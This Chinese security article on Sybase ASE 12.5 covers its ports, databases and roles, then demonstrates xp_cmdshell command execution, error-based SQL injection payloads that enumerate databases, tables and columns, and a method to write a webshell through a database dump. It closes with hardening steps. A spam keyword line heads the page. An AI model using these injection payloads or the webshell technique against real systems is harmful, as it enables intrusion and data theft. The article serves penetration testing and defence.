自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

Sybase數(shù)據(jù)庫安全

數(shù)據(jù)庫
  Sybase的全稱又叫: SAP Sybase Adaptive Server Enterprise (簡稱ASE或Sybase ASE),繼承于MSSQL的原始代碼,和MSSQL血緣很近。Sybase是一種關(guān)系型數(shù)據(jù)庫系統(tǒng),是一種典型的UNIX或WindowsNT平臺上客戶機(jī)/服務(wù)器環(huán)境下的大型數(shù)據(jù)庫系統(tǒng)。它以PowerBuilder為開發(fā)工具,以 SAP Sybase SQL Anywhere 為客戶端。目前新版是ASE 15.7.x,命名從12.5.5直接到15.0.0(跳過中間的13、14),本次測試的是12.5.2,其中12.5是12大版本中最穩(wěn)定的版本。

  0x00 Sybase數(shù)據(jù)庫介紹

  簡介

  Sybase的全稱又叫: SAP Sybase Adaptive Server Enterprise (簡稱ASE或Sybase ASE),繼承于MSSQL的原始代碼,和MSSQL血緣很近。Sybase是一種關(guān)系型數(shù)據(jù)庫系統(tǒng),是一種典型的UNIX或WindowsNT平臺上客戶機(jī)/服務(wù)器環(huán)境下的大型數(shù)據(jù)庫系統(tǒng)。它以PowerBuilder為開發(fā)工具,以 SAP Sybase SQL Anywhere 為客戶端。目前新版是ASE 15.7.x,命名從12.5.5直接到15.0.0(跳過中間的13、14),本次測試的是12.5.2,其中12.5是12大版本中最穩(wěn)定的版本。

 

 

 

  創(chuàng)建數(shù)據(jù)庫的時候要注意存放設(shè)備:

  

 

 

  服務(wù)及端口

 

 

 

  開放端口:

  備份服務(wù):5001、監(jiān)控服務(wù):5002、數(shù)據(jù)庫主服務(wù):5000、存儲過程服務(wù):5004

  默認(rèn)數(shù)據(jù)庫

  

 

 

  Master :系統(tǒng)的核心數(shù)據(jù)庫,控制服務(wù)器的操作以及存儲有關(guān)所有用戶數(shù)據(jù)庫和相關(guān)的存儲設(shè)備的信息,包括用戶的用戶名和密碼;

  Model :模板數(shù)據(jù)庫,當(dāng)創(chuàng)建用戶數(shù)據(jù)庫時,系統(tǒng)根據(jù)model數(shù)據(jù)庫制作副本,并將數(shù)據(jù)庫的大小擴(kuò)展到用戶指定的大小。

  Systemprocs :保存系統(tǒng)的存儲過程。

  Sybsystemdb :關(guān)于分布式事務(wù)管理功能。

  Tempdb :包含臨時表,放置臨時數(shù)據(jù)。

  注冊用戶和數(shù)據(jù)庫用戶

  當(dāng)SQL SERVER創(chuàng)建注冊用戶后,該用戶就能合法進(jìn)SQL SERVER,該注冊用戶信息會放在master數(shù)據(jù)庫中的 syslogins表中。但只有注冊用戶成為某一數(shù)據(jù)庫用戶,并且對該用戶賦予某些權(quán)限時,該注冊用戶才能在限制條件下使用數(shù)據(jù)庫中的表。

  創(chuàng)建注冊用戶:

  1. sp_addlogin loginame, passwd     (刪除即為drop

  創(chuàng)建數(shù)據(jù)庫用戶:

  1. [dbname..] sp_adduser loginame    (此處的loginame 必須是注冊用戶,否則報錯) 

  分配權(quán)限:

  1. grant all | select,insert,delete,update 
  2. on table_name | view_name | stored_procedure_name 
  3. to username 

  或

  1. grant all | create database,create 
  2. default,create procedure,create rule,create table,create view,set proxy,set session authorization 
  3. to username 

  數(shù)據(jù)庫用戶分類

  sa用戶、數(shù)據(jù)庫屬主、數(shù)據(jù)庫對象屬主和數(shù)據(jù)庫普通用戶

  1)、sa用戶:為系統(tǒng)用戶,擁有全部的權(quán)限。

  2)、數(shù)據(jù)庫屬主用戶:數(shù)據(jù)庫屬主(dbo)用戶可對本數(shù)據(jù)庫中所有對象(如表、視圖、存儲過程等)進(jìn)行操作。

  3)、數(shù)據(jù)庫對象屬主:在實(shí)際管理中, ,一般為數(shù)據(jù)庫屬主。

  4)、數(shù)據(jù)庫普通用戶:類似于public,數(shù)據(jù)庫普通用戶必須在數(shù)據(jù)庫屬主對本數(shù)據(jù)庫中某些對象(如表、視圖、進(jìn)程等)賦予某些權(quán)限時,才可對本數(shù)據(jù)庫中某些對象進(jìn)行允許的操作。

  別名(aliases)與組(group)

  1)、別名:所謂別名(aliases)即將SQL SERVER中的注冊用戶以同一個數(shù)據(jù)庫用戶的身份來訪問數(shù)據(jù)庫,并具有與該用戶相同的權(quán)限。

  2)、組(group)為數(shù)據(jù)庫用戶的集合,即通過對組(group)的權(quán)限的控制達(dá)到對該組中數(shù)據(jù)庫用戶的控制,但也可對該組中數(shù)據(jù)庫某些用戶進(jìn)行格外的權(quán)限控制。

  

 

 

  角色

  一般在管理分工較細(xì)的數(shù)據(jù)庫系統(tǒng)中,sa用戶往往被分為三種角色:系統(tǒng)管理員角色(SA role)、系統(tǒng)安全員角色(SSO role)、操作員角色(OPER role)。

  

 

 

  連接及管理工具

  1)、isql

  類似于mysql數(shù)據(jù)庫的的mysql.exe??蛇B接本地及網(wǎng)絡(luò)數(shù)據(jù)庫。 使用isql –U sa –P “”連接:

  

 

 

  所有參數(shù)要區(qū)分大小寫:

  -?顯示 isql 開關(guān)的語法摘要。

  -L列出在本地配置的服務(wù)器和在網(wǎng)絡(luò)上廣播的服務(wù)器的名稱。

  -U login_id用戶登錄 ID。登錄 ID 區(qū)分大小寫。

  -P password 是用戶指定的密碼。如果未使用-P 選項,isql 將提示輸入密碼。如果在命令提示的末尾使用 -P 選項而不帶密碼,isql 使用默認(rèn)密碼NULL)。密碼區(qū)分大小寫。

  -S server_name 指定要連接到的 SQL Server 默認(rèn)實(shí)例。如果未指定服務(wù)器,isql 將連接 到本地計算機(jī)上的 SQL Server 默認(rèn)實(shí)例。如果要在網(wǎng)絡(luò)上從遠(yuǎn)程計算機(jī)執(zhí)行 isql,則需要此選項。

  -H hostname 是使用的客戶端的主機(jī)名稱。

  -d use database name,用于指定使用數(shù)據(jù)庫名

  2)、官方Sybase SQL Advantage

  缺點(diǎn):a、隨數(shù)據(jù)庫完整安裝包一起發(fā)布,使用時有版本上的要求。

  b、只支持SQL語句,個人覺得就是isql的圖形化版,有所不便。

  

 

 

  

 

 

  (Sql.ini設(shè)定及功能:http://blog.csdn.net/potato015/article/details/2450989 )

  3)、官方Sybase Central

  缺點(diǎn):a、隨數(shù)據(jù)庫完整安裝包一起發(fā)布,使用時有版本上的要求。

  b、功能不是很強(qiáng)大

  

 

 

  4)、DBArtisan

  

 

#p#

 

  0x01 Sybase安全

  執(zhí)行系統(tǒng)命令

  默認(rèn)xp_cmdshell是不開啟的。未開啟xp_cmdshell時:

  

 

 

  開啟xp_cmdshell : sp_configure 'xp_cmdshell context',0

  

 

 

  開啟xp_cmdshell后執(zhí)行命令:

  

 

 

  權(quán)限不夠時執(zhí)行xp_cmdshell:

  

 

 

  細(xì)節(jié):

  1、執(zhí)行 sp_configure 'xp_cmdshell',0 允許所有含sa_role角色的login用戶執(zhí)行xp_cmdshell命令,此功能默認(rèn)關(guān)閉

  2、默認(rèn) sp_configure 'xp_cmdshell',1 經(jīng)測試需要在windows下具有相同longin用戶名稱和密碼,并且該用戶隸屬administrators權(quán)限組,還有一點(diǎn)不能忽略:取消選擇“用戶下次登錄時需更改密碼”!

  3、MSSQL由于和windows集成,可以直接使用系統(tǒng)賬戶登錄到數(shù)據(jù)庫。而Sybase則需要按照上面第二步做配置才能達(dá)到和MSSQL類似的效果。

  注釋符與聯(lián)合查詢

  支持union,可以用/ /、--來注釋,可以用/ /來替換空格,也可以用+代替空格,也支持count( ),不過通配符 不能出現(xiàn)在子查詢中。

  

 

 

  12.5.2及以前的版本不支持TOP關(guān)鍵字,形如select top N from注入語句將報錯

  

 

 

  當(dāng)然,不能用top,肯定會有替代方案,那就是set rowcount N

  

 

 

  

 

 

  但是set rowcount N貌似不支持子查詢和條件句:

  

 

 

  多句執(zhí)行

  與mssql不同的地方是:多條語句直接以空格分隔,而不是分號。

  

 

 

  

 

 

  對編碼的支持

  與MSSQL相同:

  

 

 

  SQL注入特性

  以Php為腳本:

  

 

 

  以Java為腳本:

  

 

#p#

 

  判斷是否是Sybase數(shù)據(jù)庫:

  1. id=1 and exists(select * from master.dbo.ijdbc_function_escapes) 

  

 

 

 

 

  

 

 

  以報錯方式注入時要注意,sybase是不支持不同類型數(shù)據(jù)直接相比較的(與MSSQL不同):

  1. id=1 and 1=user 
  2. id=1 and 1=convert(integer,user
  3. ![enter image description here][28] 
  4. id=1 and 1=convert(integer,(select+@@version)) 
  5. ![enter image description here][29] 
  6. id=-1 union select 1,"",(select @@version) 

  

 

 

  列庫(復(fù)雜版本):

  1. id=1 and 1=convert(integer,(SELECT MIN(ISNULL(CONVERT(NVARCHAR(4000),gJyQ.name),CHAR(32))) FROM (SELECT name FROM master..sysdatabases) AS gJyQ WHERE CONVERT(NVARCHAR(4000),gJyQ.name)>‘ ’)) 

  列出***個庫master 

  1. id=1 and 1=convert(integer,(SELECT MIN(ISNULL(CONVERT(NVARCHAR(4000),gJyQ.name),CHAR(32))) FROM (SELECT name FROM master..sysdatabases) AS gJyQ WHERE CONVERT(NVARCHAR(4000),gJyQ.name)>’master‘)) 

  列出除master外的***個庫

  

 

 

  列庫(簡單版本):

  

  1. id=1 and 1=convert(integer,(SELECT name FROM master..sysdatabases where dbid=1))   不斷遞增dbid的值 

  

 

 

  dbid是連續(xù)的數(shù)字,猜解起來很容易

  

 

 

  PS:雖然Sybase不能用TOP、for xml path,但是支持having、where not in等語法,變化方式依然有多種

  與MSSQL不同的一點(diǎn):

  MSSQL是xtype Sybase是type

  

 

 

  列表(只能用復(fù)雜版):

  

  1. id=1 and 1=convert(integer,(select MIN(ISNULL(CONVERT(NVARCHAR(4000),aaaa.name),CHAR(32))) from (select name from test.dbo.sysobjects where type=‘U’) AS aaaa where CONVERT(NVARCHAR(4000),aaaa.name)>‘ ’)) 

  列出***個表cmd

  

  1. id=1 and 1=convert(integer,(select MIN(ISNULL(CONVERT(NVARCHAR(4000),aaaa.name),CHAR(32))) from (select name from test.dbo.sysobjects where type=‘U’) AS aaaa where CONVERT(NVARCHAR(4000),aaaa.name)>‘cmd’)) 

  列出除cmd外的***個表cmd0

  

 

 

  列字段:

  

  1. select name from test..syscolumns where id=object_id(‘users’) and colid=1 遞增colid 

  即:

  

  1. id=1 and 1=convert(integer,(select name from test..syscolumns where id=object_id('users'and colid=1)) 

  

 

 

  工具注入:

  

 

 

  穿山甲猜不出庫名,抓包發(fā)現(xiàn)使用了TOP關(guān)鍵字,看來穿山甲只支持12.5.3以后的sybase

  

 

 

  備份寫文件(webshell)

  前提條件:

  1、備份服務(wù)打開

  2、備份服務(wù)允許遠(yuǎn)程訪問

  3、有數(shù)據(jù)庫權(quán)限(宿主權(quán)限)+磁盤寫權(quán)限

  步驟:

  、create table cmd(a image)—

  、insert into cmd(a) values ('')—

  、dump database test to ‘C:\wamp\www\1.php’ 【全備份】

  (對應(yīng)MSSQL為:backup database 庫名 to disk= 'C:\wamp\www\1.php ' WITH DIFFERENTIAL,FORMAT;--)

  dump TRANSACTION test to ‘C:\wamp\www\1.php’ 【LOG備份】

  (對應(yīng)MSSQL為:backup log 庫名 to disk='d:\www\xxx\test.asp'--)

  注:使用dump TRANSACTION時要求數(shù)據(jù)文件和日志文件不能存放在同一設(shè)備中。

  、drop table cmd--

  

 

 

  加固與防范

  口令

  1. sp_password  “原密碼”, “新密碼”,用戶名 

  例如將sa用戶的密碼由空改為123456: sp_password NULL,”123456”,sa

  1. sp_configure “minimum password length”,8    ---密碼最短長度 
  2. sp_configure “check password for digit”,1   ---至少包含一個數(shù)字 
  3. sp_configure “systemwide password expiration”,90   ---口令有效時長 
  4. sp_configure “maximum failed logins”,5   ---設(shè)置口令錯誤鎖定閥值 

  刪除擴(kuò)展存儲過程xp_cmdshell, 并刪 除 sybsyesp.dll

  1. exec  sp_dropextendedproc  xp_cmdshell 

  關(guān)閉sa賬戶的使用:

  1. sp_locklogin sa,"lock“ 

  關(guān)閉遠(yuǎn)程訪問:

exec sp_configure “allow remote access” ,0

  1. exec sp_configure “allow remote access” ,0 

  關(guān)閉后,很多服務(wù)將無法使用,比如備份

  登陸IP白名單

  系統(tǒng)沒有和登陸相關(guān)的限制設(shè)置,只能通過創(chuàng)建登錄觸發(fā)器來實(shí)現(xiàn)登陸IP白名單

  1. create procedure login_trg  
  2. as   
  3.    declare @ip varchar(18),@login_name varchar(20)  
  4. begin   
  5.    select  
  6.    @ip=t.ipaddr,@login_name=suser_name()  
  7.    from master.dbo.sysprocesses t where t.spid=@@spid   
  8.    if @ip<>'192.168.0.102' 
  9.       begin   
  10.          raiserror 30000 'IP address %1! ,with user %2! login failed!',@ip,@login_name  
  11.          select syb_quit()  
  12.       end  
  13.    else   
  14.        print 'Welcome!'  
  15. end   

  創(chuàng)建登錄觸發(fā)器后,執(zhí)行如下命令:

  1. isql>grant execute on login_trg to loginname   
  2. isql>sp_modifylogin loginname, "login script",login_trg 

  日志

  1. isql>exec sp_configure "log audit logon failure",1 --記錄登錄失敗信息 
  2. isql>exec sp_configure "log audit logon success",1 --記錄登錄成功信息 

 

責(zé)任編輯:honglu 來源: 內(nèi)存溢出
相關(guān)推薦

2011-08-25 11:08:21

Sybase數(shù)據(jù)庫

2010-11-29 11:47:26

連接Sybase數(shù)據(jù)庫

2011-04-12 09:43:17

Sybase數(shù)據(jù)庫修復(fù)技巧

2010-11-29 11:22:36

SYBASE數(shù)據(jù)庫日志

2010-11-29 11:51:59

Sybase數(shù)據(jù)庫維護(hù)

2009-11-20 15:03:29

2009-01-15 09:24:03

Sybase數(shù)據(jù)庫引擎

2011-04-13 14:07:17

OracleSybase數(shù)據(jù)庫

2011-03-08 10:58:09

Sybase數(shù)據(jù)庫

2010-04-29 11:53:42

Oracle數(shù)據(jù)庫

2015-10-23 14:37:56

DelphiDBExpress連接

2011-05-13 13:15:52

SYBASE ASA數(shù)

2011-03-23 15:22:47

PBSybase數(shù)據(jù)庫

2010-11-29 11:55:47

SYBASE數(shù)據(jù)庫

2010-11-29 10:11:05

Sybase數(shù)據(jù)庫死鎖

2010-05-17 09:02:53

SybaseSAP

2009-07-06 23:23:15

Sybase數(shù)據(jù)庫修復(fù)

2010-11-29 15:35:31

sybase創(chuàng)建用戶

2010-11-29 09:56:00

sybase數(shù)據(jù)庫備份

2011-03-17 17:27:48

Sybase數(shù)據(jù)庫引擎
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號